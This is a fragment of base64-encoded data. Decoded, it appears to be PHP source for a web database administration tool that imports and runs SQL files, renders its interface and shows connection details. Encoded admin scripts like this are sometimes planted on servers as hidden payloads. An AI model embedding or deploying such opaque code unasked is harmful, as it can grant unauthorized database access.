wgJGRiX2RyaXZlciwgJGRiX2xpbmssICRkYl9jaGFyc2V0Ow0KCWlmICgkaWdub3JlX2Vycm9ycyAmJiAkdHJhbnNhY3Rpb24pIHsNCgkJZWNobyAnPGRpdj5Zb3UgY2Fubm90IHNlbGVjdCBib3RoOiBpZ25vcmluZyBlcnJvcnMgYW5kIHRyYW5zYWN0aW9uPC9kaXY+JzsNCgkJZXhpdDsNCgl9DQoNCgkkY291bnRfZXJyb3JzID0gMDsNCglzZXRfdGltZV9saW1pdCgwKTsNCgkkZnAgPSBmb3BlbigkZmlsZSwgJ3InKTsNCglpZiAoISRmcCkgeyBleGl0KCdmb3BlbignLiRmaWxlLicpIGZhaWxlZCcpOyB9DQoJZmxvY2soJGZwLCAxKTsNCgkkdGV4dCA9IHRyaW0oZnJlYWQoJGZwLCBmaWxlc2l6ZSgkZmlsZSkpKTsNCglmbG9jaygkZnAsIDMpOw0KCWZjbG9zZSgkZnApOw0KCWlmICgkZGJfY2hhcnNldCA9PSAnbGF0aW4yJykgew0KCQkkdGV4dCA9IGNoYXJzZXRfZml4KCR0ZXh0KTsNCgl9DQoJaWYgKCRmb3JjZV9teWlzYW0pIHsNCgkJJHRleHQgPSBwcmVnX3JlcGxhY2UoJyNUWVBFXHMqPVxzKklubm9EQiNpJywgJ1RZUEU9TXlJU0FNJywgJHRleHQpOw0KCX0NCgkkdGV4dCA9IHByZWdfc3BsaXQoIiM7KFxyXG58XG58XHIpIyIsICR0ZXh0KTsNCgkkeCA9IDA7DQoJZWNobyAnPGRpdj5JZ25vcmluZyBlcnJvcnM6IDxiPicuKCRpZ25vcmVfZXJyb3JzPydZZXMnOidObycpLic8L2I+PC9kaXY+JzsNCgllY2hvICc8ZGl2PlRyYW5zYWN0aW9uOiA8Yj4nLigkdHJhbnNhY3Rpb24/J1llcyc6J05vJykuJzwvYj48L2Rpdj4nOw0KCWVjaG8gJzxkaXY+Rm9yY2UgTXlJc2FtOiA8Yj4nLigkZm9yY2VfbXlpc2FtPydZZXMnOidObycpLic8L2I+PC9kaXY+JzsNCgllY2hvICc8ZGl2PlF1ZXJ5IHN0YXJ0OiA8Yj4jJy4kcXVlcnlfc3RhcnQuJzwvYj48L2Rpdj4nOw0KCWVjaG8gJzxkaXY+UXVlcmllcyBmb3VuZDogPGI+Jy5jb3VudCgkdGV4dCkuJzwvYj48L2Rpdj4nOw0KCWVjaG8gJzxkaXY+RXhlY3V0aW5nIC4uLjwvZGl2Pic7DQoJZmx1c2goKTsNCg0KCWlmICgkdHJhbnNhY3Rpb24pIHsNCgkJZWNobyAnPGRpdj5CRUdJTjs8L2Rpdj4nOw0KCQlkYl9iZWdpbigpOw0KCX0NCg0KCSR0aW1lID0gdGltZV9zdGFydCgpOw0KCSRxdWVyeV9zdGFydCA9IChpbnQpICRxdWVyeV9zdGFydDsNCglpZiAoISRxdWVyeV9zdGFydCkgew0KCQkkcXVlcnlfc3RhcnQgPSAxOw0KCX0NCgkkcXVlcnlfbm8gPSAwOw0KDQoJZm9yZWFjaCgkdGV4dCBhcyAka2V5ID0+ICR2YWx1ZSkNCgl7DQoJCSR4Kys7DQoJCSRxdWVyeV9ubysrOw0KCQlpZiAoJHF1ZXJ5X3N0YXJ0ID4gJHF1ZXJ5X25vKSB7DQoJCQljb250aW51ZTsNCgkJfQ0KDQoJCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpDQoJCXsNCgkJCSRyZXN1bHQgPSBAbXlzcWxfcXVlcnkoJHZhbHVlLic7JywgJGRiX2xpbmspOw0KCQl9DQoJCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpDQoJCXsNCgkJCSRyZXN1bHQgPSBAcGdfcXVlcnkoJGRiX2xpbmssICR2YWx1ZS4nOycpOw0KCQl9DQoJCWlmKCEkcmVzdWx0KSB7DQoJCQkkeC0tOw0KCQkJaWYgKCEkY291bnRfZXJyb3JzKSB7DQoJCQkJZWNobyAnPHRhYmxlIGNsYXNzPSJscyIgY2VsbHNwYWNpbmc9IjEiPjx0cj48dGggd2lkdGg9IjI1JSI+RXJyb3I8L3RoPjx0aD5RdWVyeTwvdGg+PC90cj4nOw0KCQkJfQ0KCQkJJGNvdW50X2Vycm9ycysrOw0KCQkJZWNobyAnPHRyPjx0ZD4jJy4kcXVlcnlfbm8uJyAnLmRiX2Vycm9yKCkgLicpJy4nPC90ZD48dGQ+Jy5ubDJicihodG1sX29uY2UoJHZhbHVlKSkuJzwvdGQ+PC90cj4nOw0KCQkJZmx1c2goKTsNCgkJCWlmICghJGlnbm9yZV9lcnJvcnMpIHsNCgkJCQllY2hvICc8L3RhYmxlPic7DQoJCQkJZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6IHJlZDsiPjxiPkltcG9ydCBmYWlsZWQuPC9iPjwvc3Bhbj48L2Rpdj4nOw0KCQkJCWVjaG8gJzxkaXY+UXVlcmllcyBleGVjdXRlZDogPGI+Jy4oJHgtJHF1ZXJ5X3N0YXJ0KzEpLic8L2I+LjwvZGl2Pic7DQoJCQkJaWYgKCR0cmFuc2FjdGlvbikgew0KCQkJCQllY2hvICc8ZGl2PlJPTExCQUNLOzwvZGl2Pic7DQoJCQkJCWRiX3JvbGxiYWNrKCk7DQoJCQkJfQ0KCQkJCWVjaG8gJzxicj48ZGl2PjxhIGhyZWY9IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz9pbXBvcnQ9MSI+Jmx0OyZsdDsgZ28gYmFjazwvYT48L2Rpdj4nOw0KCQkJCWV4aXQ7DQoJCQl9DQoJCX0NCgl9DQoJaWYgKCRjb3VudF9lcnJvcnMpIHsNCgkJZWNobyAnPC90YWJsZT4nOw0KCX0NCglpZiAoJHRyYW5zYWN0aW9uKSB7DQoJCWVjaG8gJzxkaXY+Q09NTUlUOzwvZGl2Pic7DQoJCWRiX2VuZCgpOw0KCX0NCgllY2hvICc8ZGl2PjxzcGFuIHN0eWxlPSJjb2xvcjogZ3JlZW47Ij48Yj5JbXBvcnQgZmluaXNoZWQuPC9iPjwvc3Bhbj48L2Rpdj4nOw0KCWVjaG8gJzxkaXY+UXVlcmllcyBleGVjdXRlZDogPGI+Jy4oJHgtJHF1ZXJ5X3N0YXJ0KzEpLic8L2I+LjwvZGl2Pic7DQoJZWNobyAnPGRpdj5UaW1lOiA8Yj4nLnRpbWVfZW5kKCR0aW1lKS4nPC9iPiBzZWM8L2Rpdj4nOw0KCWVjaG8gJzxicj48ZGl2PjxhIGhyZWY9IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz9pbXBvcnQ9MSI+Jmx0OyZsdDsgZ28gYmFjazwvYT48L2Rpdj4nOw0KfQ0KZnVuY3Rpb24gbGF5b3V0KCkNCnsNCglnbG9iYWwgJHNxbF9hcmVhOw0KCT8+DQoJCTxzdHlsZT4NCgkJYm9keSx0YWJsZSxpbnB1dCxzZWxlY3QsdGV4dGFyZWEgeyBmb250LWZhbWlseTogdGFob21hOyBmb250LXNpemU6IDExcHg7IH0NCgkJYm9keSB7IG1hcmdpbjogMWVtOyBwYWRkaW5nOiAwOyBtYXJnaW4tdG9wOiAwLjVlbTsgfQ0KCQloMSwgaDIgeyBmb250LWZhbWlseTogYXJpYWw7IG1hcmdpbjogMWVtIDA7IH0NCgkJaDEgeyBmb250LXNpemU6IDE1MCU7IG1hcmdpbjogMC43ZW0gMDsgfQ0KCQloMiB7IGZvbnQtc2l6ZTogMTI1JTsgfQ0KCQkubHMgdGggeyBiYWNrZ3JvdW5kOiAjY2NjOyB9DQoJCS5scyB0aCB0aCB7IGJhY2tncm91bmQtY29sb3I6IG5vbmU7IH0NCgkJLmxzIHRkIHsgYmFja2dyb3VuZDogI2Y1ZjVmNTsgfQ0KCQkubHMgdGQgdGQgeyBiYWNrZ3JvdW5kLWNvbG9yOiBub25lOyB9DQoJCS5scyB0aCwgLmxzIHRkIHsgcGFkZGluZzogMC4xZW0gMC41ZW07IH0NCgkJLmxzIHRoIHRoLCAubHMgdGQgdGQgeyBwYWRkaW5nOiAwOyB9DQoJCS5sczIgdGggeyB0ZXh0LWFsaWduOiBsZWZ0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyBsaW5lLWhlaWdodDogMS43ZW07IGJhY2tncm91bmQ6ICNlMGUwZTA7IGZvbnQtd2VpZ2h0OiBub3JtYWw7IH0NCgkJLmxzMiB0aCB0aCB7IGxpbmUtaGVpZ2h0OiBub3JtYWw7IGJhY2tncm91bmQtY29sb3I6IG5vbmU7IH0NCgkJcCB7IG1hcmdpbjogMC44ZW0gMDsgfQ0KCQlmb3JtIHsgbWFyZ2luOiAwOyB9DQoJCWZvcm0gdGggeyB0ZXh0LWFsaWduOiBsZWZ0OyB9DQoJCWEsIGE6dmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KCQlhOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IH0NCgkJYSwgYS5ibHVlIHsgY29sb3I6IGJsdWU7IH0NCgkJYTp2aXNpdGVkIHsgY29sb3I6IHB1cnBsZTsgfQ0KCQlhLmJsdWU6dmlzaXRlZCB7IGNvbG9yOiBibHVlOyB9DQoJCWZvcm0gLm5vbmUgdGQsIGZvcm0gLm5vbmUgdGggeyBiYWNrZ3JvdW5kOiBub25lOyBwYWRkaW5nOiAwIDAuMjVlbTsgfQ0KCQlsYWJlbCB7IHBhZGRpbmctbGVmdDogMnB4OyBwYWRkaW5nLXJpZ2h0OiA0cHg7IH0NCgkJLmNoZWNrYm94IHsgcGFkZGluZy1sZWZ0OiAwOyBtYXJnaW4tbGVmdDogMDsgbWFyZ2luLXRvcDogMXB4OyB9DQoJCS5ub25lLCAubHMgLm5vbmUgeyBiYWNrZ3JvdW5kOiBub25lOyBwYWRkaW5nLXRvcDogMC40ZW07IH0NCgkJLmJ1dHRvbiB7IGN1cnNvcjogcG9pbnRlcjsgfQ0KCQkuYnV0dG9uX2NsaWNrIHsgYmFja2dyb3VuZDogI2UwZTBlMDsgIH0NCgkJLmVycm9yIHsgYmFja2dyb3VuZDogI2ZmZmZkNzsgcGFkZGluZzogMC41ZW07IGJvcmRlcjogI2NjYyAxcHggc29saWQ7IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXRvcDogMWVtOyB9DQoJCS5tc2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAwLjVlbTsgYm9yZGVyOiAjY2NjIDFweCBzb2xpZDsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tdG9wOiAxZW07IH0NCgkJLnNxbF9hcmVhIHsgPD9waHAgZWNobyAkc3FsX2FyZWE7Pz4gfQ0KCQlkaXYucXVlcnkgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAwLjM1ZW07IGJvcmRlcjogI2NjYyAxcHggc29saWQ7IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXRvcDogMWVtOyB9DQoJCTwvc3R5bGU+DQoJCTxzY3JpcHQ+DQoJCWZ1bmN0aW9uIG1hcmtfY29sKHRkKQ0KCQl7DQoJCX0NCgkJZnVuY3Rpb24gcG9wdXAodXJsLCB3aWR0aCwgaGVpZ2h0LCBtb3JlKQ0KCQl7DQoJCQlpZiAoIXdpZHRoKSB3aWR0aCA9IDc1MDsNCgkJCWlmICghaGVpZ2h0KSBoZWlnaHQgPSA1MDA7DQoJCQl2YXIgeCA9IChzY3JlZW4ud2lkdGgvMi13aWR0aC8yKTsNCgkJCXZhciB5ID0gKHNjcmVlbi5oZWlnaHQvMi1oZWlnaHQvMik7DQoJCQl3aW5kb3cub3Blbih1cmwsICIiLCAic2Nyb2xsYmFycz15ZXMscmVzaXphYmxlPXllcyx3aWR0aD0iK3dpZHRoKyIsaGVpZ2h0PSIraGVpZ2h0KyIsc2NyZWVuWD0iKyh4KSsiLHNjcmVlblk9Iit5KyIsbGVmdD0iK3grIix0b3A9Iit5Kyhtb3JlID8gIiwiK21vcmUgOiAiIikpOw0KCQl9DQoJCWZ1bmN0aW9uIGlzX2llKCkNCgkJew0KCQkJcmV0dXJuIG5hdmlnYXRvci5hcHBWZXJzaW9uLmluZGV4T2YoIk1TSUUiKSAhPSAtMTsNCgkJfQ0KCQlmdW5jdGlvbiBldmVudF9hZGQoZWwsIGV2ZW50LCBmdW5jKQ0KCQl7DQoJCQlpZiAoaXNfaWUoKSkgew0KCQkJCWlmIChlbC5hdHRhY2hFdmVudCkgew0KCQkJCQllbC5hdHRhY2hFdmVudCgib24iK2V2ZW50LCBmdW5jKTsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWlmIChlbC5hZGRFdmVudExpc3RlbmVyKSB7DQoJCQkJCWVsLmFkZEV2ZW50TGlzdGVuZXIoZXZlbnQsIGZ1bmMsIGZhbHNlKTsNCgkJCQl9IGVsc2UgaWYgKGVsLmF0dGFjaEV2ZW50KSB7DQoJCQkJCWVsLmF0dGFjaEV2ZW50KCJvbiIrZXZlbnQsIGZ1bmMpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXZhciBvbGRmdW5jID0gZWxbIm9uIitldmVudF07DQoJCQkJCWVsWyJvbiIrZXZlbnRdID0gZnVuY3Rpb24oKSB7IG9sZGZ1bmMoKTsgZnVuYygpOyB9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWZ1bmN0aW9uIGV2ZW50X3RhcmdldChldmVudCkNCgkJew0KCQkJdmFyIGVsOw0KCQkJaWYgKHdpbmRvdy5ldmVudCkgZWwgPSB3aW5kb3cuZXZlbnQuc3JjRWxlbWVudDsNCgkJCWVsc2UgaWYgKGV2ZW50KSBlbCA9IGV2ZW50LnRhcmdldDsNCgkJCWlmIChlbC5ub2RlVHlwZSA9PSAzKSBlbCA9IGVsLnBhcmVudE5vZGU7DQoJCQlyZXR1cm4gZWw7DQoJCX0NCg0KCQlmdW5jdGlvbiBidXR0b25faW5pdCgpDQoJCXsNCgkJCS8vIGRlcGVuZGVuY3k6IGV2ZW50X2FkZCgpLCBldmVudF90YXJnZXQoKQ0KCQkJZXZlbnRfYWRkKHdpbmRvdywgImxvYWQiLCBmdW5jdGlvbigpIHsNCgkJCQlmb3IgKHZhciBpID0gMDsgaSA8IGRvY3VtZW50LmZvcm1zLmxlbmd0aDsgaSsrKSB7DQoJCQkJCWV2ZW50X2FkZChkb2N1bWVudC5mb3Jtc1tpXSwgInN1Ym1pdCIsIGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQl2YXIgZm9ybSA9IGV2ZW50X3RhcmdldChldmVudCk7DQoJCQkJCQlpZiAoZm9ybS50YWdOYW1lICE9ICdGT1JNJykgZm9ybSA9IHRoaXM7DQoJCQkJCQlmb3IgKHZhciBrID0gMDsgayA8IGZvcm0uZWxlbWVudHMubGVuZ3RoOyBrKyspIHsNCgkJCQkJCQlpZiAoImJ1dHRvbiIgPT0gZm9ybS5lbGVtZW50c1trXS50eXBlIHx8ICJzdWJtaXQiID09IGZvcm0uZWxlbWVudHNba10udHlwZSkgew0KCQkJCQkJCQlidXR0b25fY2xpY2soZm9ybS5lbGVtZW50c1trXSwgdHJ1ZSk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9KTsNCgkJCQkJdmFyIGZvcm0gPSBkb2N1bWVudC5mb3Jtc1tpXTsNCgkJCQkJZm9yICh2YXIgaiA9IDA7IGogPCBmb3JtLmVsZW1lbnRzLmxlbmd0aDsgaisrKSB7DQoJCQkJCQlpZiAoImJ1dHRvbiIgPT0gZm9ybS5lbGVtZW50c1tqXS50eXBlIHx8ICJzdWJtaXQiID09IGZvcm0uZWxlbWVudHNbal0udHlwZSkgew0KCQkJCQkJCWV2ZW50X2FkZChmb3JtLmVsZW1lbnRzW2pdLCAiY2xpY2siLCBidXR0b25fY2xpY2spOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJCXZhciBpbnB1dHMgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnSU5QVVQnKTsNCgkJCQlmb3IgKHZhciBpID0gMDsgaSA8IGlucHV0cy5sZW5ndGg7IGkrKykgew0KCQkJCQlpZiAoKCdidXR0b24nID09IGlucHV0c1tpXS50eXBlIHx8ICdzdWJtaXQnID09IGlucHV0c1tpXS50eXBlKSAmJiAhaW5wdXRzW2ldLmZvcm0pIHsNCgkJCQkJCWV2ZW50X2FkZChpbnB1dHNbaV0sICdjbGljaycsIGJ1dHRvbl9jbGljayk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9KTsNCgkJfQ0KCQlmdW5jdGlvbiBidXR0b25fY2xpY2soYnV0LCBjYWxsZWRGcm9tT25TdWJtaXQpDQoJCXsNCgkJCWJ1dCA9IGJ1dC5ub2RlTmFtZSA/IGJ1dCA6IGV2ZW50X3RhcmdldChidXQpOw0KCQkJaWYgKCdidXR0b24nID09IHRoaXMudHlwZSB8fCAnc3VibWl0JyA9PSB0aGlzLnR5cGUpIHsNCgkJCQlidXQgPSB0aGlzOw0KCQkJfQ0KCQkJaWYgKGJ1dC5nZXRBdHRyaWJ1dGUoJ2J1dHRvbl9jbGljaycpID09IDEgfHwgYnV0LmZvcm0gJiYgYnV0LmZvcm0uZ2V0QXR0cmlidXRlKCJidXR0b25fY2xpY2siKSA9PSAxKSB7DQoJCQkJcmV0dXJuOw0KCQkJfQ0KCQkJaWYgKGJ1dHRvbl9jbGlja19zZXNzX2RvbmUoYnV0KSkgew0KCQkJCXJldHVybjsNCgkJCX0NCgkJCWlmICgiYnV0dG9uIiA9PSBidXQudHlwZSkgew0KCQkJCWlmIChidXQuZ2V0QXR0cmlidXRlKCJ3YWl0IikpIHsNCgkJCQkJYnV0dG9uX3dhaXQoYnV0KTsNCgkJCQkJYnV0LnNldEF0dHJpYnV0ZSgiYnV0dG9uX2NsaWNrIiwgMSk7DQoJCQkJCWlmIChidXQuZm9ybSkgew0KCQkJCQkJYnV0LmZvcm0uc2V0QXR0cmlidXRlKCJidXR0b25fY2xpY2siLCAxKTsgLy8gb25seSB3aGVuIFdBSVQgPSBvdGhlciBidXR0b25zIGluIHRoZSBmb3JtIENob29zZSBGcm9tIFBvcCBldGMuDQoJCQkJCX0NCgkJCQl9DQoJCQl9IGVsc2UgaWYgKCJzdWJtaXQiID09IGJ1dC50eXBlKSB7DQoJCQkJaWYgKGJ1dC5nZXRBdHRyaWJ1dGUoIndhaXQiKSkgew0KCQkJCQlidXR0b25fd2FpdChidXQpOw0KCQkJCQlidXQuc2V0QXR0cmlidXRlKCJidXR0b25fY2xpY2siLCAxKTsNCgkJCQl9DQoJCQkJaWYgKGJ1dC5mb3JtKSB7DQoJCQkJCWJ1dC5mb3JtLnNldEF0dHJpYnV0ZSgiYnV0dG9uX2NsaWNrIiwgMSk7DQoJCQkJfQ0KCQkJCWlmIChjYWxsZWRGcm9tT25TdWJtaXQpIHsNCgkJCQkJaWYgKGJ1dC5nZXRBdHRyaWJ1dGUoImJsb2NrIikpIHsNCgkJCQkJCWJ1dHRvbl9kaXNhYmxlKGJ1dCk7DQoJCQkJCX0NCgkJCQl9IGVsc2Ugew0KCQkJCQlpZiAoIWJ1dC5mb3JtLmdldEF0dHJpYnV0ZSgnYnV0dG9uX2Rpc2FibGVfb25zdWJtaXQnKSkNCgkJCQkJew0KCQkJCQkJZXZlbnRfYWRkKGJ1dC5mb3JtLCAic3VibWl0IiwgZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCQl2YXIgZm9ybSA9IGV2ZW50X3RhcmdldChldmVudCk7DQoJCQkJCQkJaWYgKGZvcm0udGFnTmFtZSAhPSAnRk9STScpIGZvcm0gPSB0aGlzOw0KCQkJCQkJCWlmICghYnV0dG9uX2Rpc2FibGVfc2Vzc19kb25lKGZvcm0pKSB7DQoJCQkJCQkJCWZvciAodmFyIGkgPSAwOyBpIDwgZm9ybS5lbGVtZW50cy5sZW5ndGg7IGkrKykgew0KCQkJCQkJCQkJaWYgKGZvcm0uZWxlbWVudHNbaV0uZ2V0QXR0cmlidXRlKCJibG9jayIpKSB7DQoJCQkJCQkJCQkJYnV0dG9uX2Rpc2FibGUoZm9ybS5lbGVtZW50c1tpXSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQl9KTsNCgkJCQkJCWJ1dC5mb3JtLnNldEF0dHJpYnV0ZSgnYnV0dG9uX2Rpc2FibGVfb25zdWJtaXQnLCAxKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJIC8vcmV0dXJuIGFsZXJ0KCJidXR0b25fY2xpY2soKSBmYWlsZWQsIHVua25vd24gYnV0dG9uIHR5cGUiKTsNCgkJCX0NCgkJfQ0KCQlmdW5jdGlvbiBidXR0b25fY2xpY2tfc2Vzc19kb25lKGJ1dCkNCgkJew0KCQkJaWYgKGJ1dC5nZXRBdHRyaWJ1dGUoJ2J1dHRvbl9jbGlja19zZXNzX2RvbmUnKSA9PSAxIHx8IGJ1dC5mb3JtICYmIGJ1dC5mb3JtLmdldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrX3Nlc3NfZG9uZScpID09IDEpIHsNCgkJCQlpZiAoYnV0LmdldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrX3Nlc3NfZG9uZScpID09IDEpIHsNCgkJCQkJYnV0LnNldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrX3Nlc3NfZG9uZScsIDApOw0KCQkJCX0NCgkJCQlpZiAoYnV0LmZvcm0gJiYgYnV0LmZvcm0uZ2V0QXR0cmlidXRlKCdidXR0b25fY2xpY2tfc2Vzc19kb25lJykgPT0gMSkgew0KCQkJCQlidXQuZm9ybS5zZXRBdHRyaWJ1dGUoJ2J1dHRvbl9jbGlja19zZXNzX2RvbmUnLCAwKTsNCgkJCQl9DQoJCQkJcmV0dXJuIHRydWU7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gYnV0dG9uX2Rpc2FibGVfc2Vzc19kb25lKGJ1dCkNCgkJew0KCQkJaWYgKGJ1dC5nZXRBdHRyaWJ1dGUoJ2J1dHRvbl9kaXNhYmxlX3Nlc3NfZG9uZScpID09IDEgfHwgYnV0LmZvcm0gJiYgYnV0LmZvcm0uZ2V0QXR0cmlidXRlKCdidXR0b25fZGlzYWJsZV9zZXNzX2RvbmUnKSA9PSAxKSB7DQoJCQkJaWYgKGJ1dC5nZXRBdHRyaWJ1dGUoJ2J1dHRvbl9kaXNhYmxlX3Nlc3NfZG9uZScpID09IDEpIHsNCgkJCQkJYnV0LnNldEF0dHJpYnV0ZSgnYnV0dG9uX2Rpc2FibGVfc2Vzc19kb25lJywgMCk7DQoJCQkJfQ0KCQkJCWlmIChidXQuZm9ybSAmJiBidXQuZm9ybS5nZXRBdHRyaWJ1dGUoJ2J1dHRvbl9kaXNhYmxlX3Nlc3NfZG9uZScpID09IDEpIHsNCgkJCQkJYnV0LmZvcm0uc2V0QXR0cmlidXRlKCdidXR0b25fZGlzYWJsZV9zZXNzX2RvbmUnLCAwKTsNCgkJCQl9DQoJCQkJcmV0dXJuIHRydWU7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gYnV0dG9uX2Rpc2FibGUoYnV0dG9uKQ0KCQl7DQoJCQlidXR0b24uZGlzYWJsZWQgPSB0cnVlOw0KCQkJaWYgKGJ1dHRvbi5uYW1lKQ0KCQkJew0KDQoJCQkJdmFyIGZvcm0gPSBidXR0b24uZm9ybTsNCgkJCQl2YXIgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KCQkJCWlucHV0LnNldEF0dHJpYnV0ZSgndHlwZScsICdoaWRkZW4nKTsNCgkJCQlpbnB1dC5zZXRBdHRyaWJ1dGUoJ25hbWUnLCBidXR0b24ubmFtZSk7DQoJCQkJaW5wdXQuc2V0QXR0cmlidXRlKCd2YWx1ZScsIGJ1dHRvbi52YWx1ZSk7DQoJCQkJZm9ybS5hcHBlbmRDaGlsZChpbnB1dCk7DQoJCQl9DQoJCX0NCgkJZnVuY3Rpb24gYnV0dG9uX3dhaXQoYnV0KQ0KCQl7DQoJCQkvL2J1dC52YWx1ZSArPSAiIC4uIjsNCgkJCWJ1dC5jbGFzc05hbWUgPSBidXQuY2xhc3NOYW1lICsgJyBidXR0b25fY2xpY2snOw0KCQl9DQoJCWZ1bmN0aW9uIGJ1dHRvbl9jbGVhcihidXQpDQoJCXsNCgkJCWlmIChidXQudGFnTmFtZSA9PSAnRk9STScpIHsNCgkJCQl2YXIgZm9ybSA9IGJ1dDsNCgkJCQlmb3IgKHZhciBpID0gMDsgaSA8IGZvcm0uZWxlbWVudHMubGVuZ3RoOyBpKyspIHsNCgkJCQkJYnV0dG9uX2NsZWFyKGZvcm0uZWxlbWVudHNbaV0pOw0KCQkJCX0NCgkJCQlmb3JtLnNldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrJywgMCk7DQoJCQkJZm9ybS5zZXRBdHRyaWJ1dGUoJ2J1dHRvbl9jbGlja19zZXNzX2RvbmUnLCAxKTsNCgkJCQlmb3JtLnNldEF0dHJpYnV0ZSgnYnV0dG9uX2Rpc2FibGVfc2Vzc19kb25lJywgMSk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmIChidXQudHlwZSA9PSAnc3VibWl0JyB8fCBidXQudHlwZSA9PSAnYnV0dG9uJykNCgkJCQl7DQoJCQkJCWlmIChidXQuZ2V0QXR0cmlidXRlKCdidXR0b25fY2xpY2snKSA9PSAxKSB7DQoJCQkJCQkvL2J1dC52YWx1ZSA9IGJ1dC52YWx1ZS5yZXBsYWNlKC9bIF0/XC57Mix9JC8sICcnKTsNCgkJCQkJCWJ1dC5jbGFzc05hbWUgPSBidXQuY2xhc3NOYW1lLnJlcGxhY2UoJ2J1dHRvbl9jbGljaycsICcnKTsNCgkJCQkJCWJ1dC5zZXRBdHRyaWJ1dGUoJ2J1dHRvbl9jbGljaycsIDApOw0KCQkJCQkJYnV0LnNldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrX3Nlc3NfZG9uZScsIDEpOw0KCQkJCQkJYnV0LnNldEF0dHJpYnV0ZSgnYnV0dG9uX2Rpc2FibGVfc2Vzc19kb25lJywgMSk7DQoJCQkJCX0NCgkJCQkJaWYgKGJ1dC5mb3JtICYmIGJ1dC5mb3JtLmdldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrJykgPT0gMSkgew0KCQkJCQkJYnV0LmZvcm0uc2V0QXR0cmlidXRlKCdidXR0b25fY2xpY2snLCAwKTsNCgkJCQkJCWJ1dC5mb3JtLnNldEF0dHJpYnV0ZSgnYnV0dG9uX2NsaWNrX3Nlc3NfZG9uZScsIDEpOw0KCQkJCQkJYnV0LmZvcm0uc2V0QXR0cmlidXRlKCdidXR0b25fZGlzYWJsZV9zZXNzX2RvbmUnLCAxKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlidXR0b25faW5pdCgpOw0KCQk8L3NjcmlwdD4NCgk8P3BocA0KfQ0KZnVuY3Rpb24gY29ubl9pbmZvKCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX3NlcnZlciwgJGRiX25hbWUsICRkYl91c2VyLCAkZGJfY2hhcnNldCwgJHBhZ2VfY2hhcnNldCwgJGNoYXJzZXQxLCAkY2hhcnNldDI7DQoJJGRicyA9IGxpc3RfZGJzKCk7DQoJJGRiX25hbWUgPSAkZGJfbmFtZTsNCgk/Pg0KCTxwPg0KCQlEcml2ZXI6IDxiPjw/cGhwIGVjaG8gJGRiX2RyaXZlcjs/PjwvYj4NCgkJJm5ic3A7LSZuYnNwOw0KCQlTZXJ2ZXI6IDxiPjw/cGhwIGVjaG8gJGRiX3NlcnZlcjs/PjwvYj4NCgkJJm5ic3A7LSZuYnNwOw0KCQlVc2VyOiA8Yj48P3BocCBlY2hvICRkYl91c2VyOz8+PC9iPg0KCQkmbmJzcDstJm5ic3A7DQoJCTxhIGNsYXNzPWJsdWUgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/Pj9leGVjdXRlX3NxbD0xIj5FeGVjdXRlIFNRTDwvYT4NCgkJKCBvcGVuIGluIDxhIGNsYXNzPWJsdWUgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJwb3B1cCgnPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/Pj9leGVjdXRlX3NxbD0xJnBvcHVwPTEnKSI+UG9wdXA8L2E+ICkNCgkJJm5ic3A7LSZuYnNwOw0KCQlEYXRhYmFzZTogPHNlbGVjdCBuYW1lPSJkYl9uYW1lIiBvbmNoYW5nZT0ibG9jYXRpb249Jzw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/ZGJfbmFtZT0nK3RoaXMudmFsdWUiPjw/cGhwIGVjaG8gb3B0aW9ucygkZGJzLCAkZGJfbmFtZSk7Pz48L3NlbGVjdD4NCgkJJm5ic3A7LSZuYnNwOw0KCQlEYiBjaGFyc2V0OiA8c2VsZWN0IG5hbWU9ImRiX2NoYXJzZXQiIG9uY2hhbmdlPSJsb2NhdGlvbj0nPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/Pj9kYl9jaGFyc2V0PScrdGhpcy52YWx1ZSsnJmZyb209PD9waHAgZWNobyB1cmxlbmNvZGUoJF9TRVJ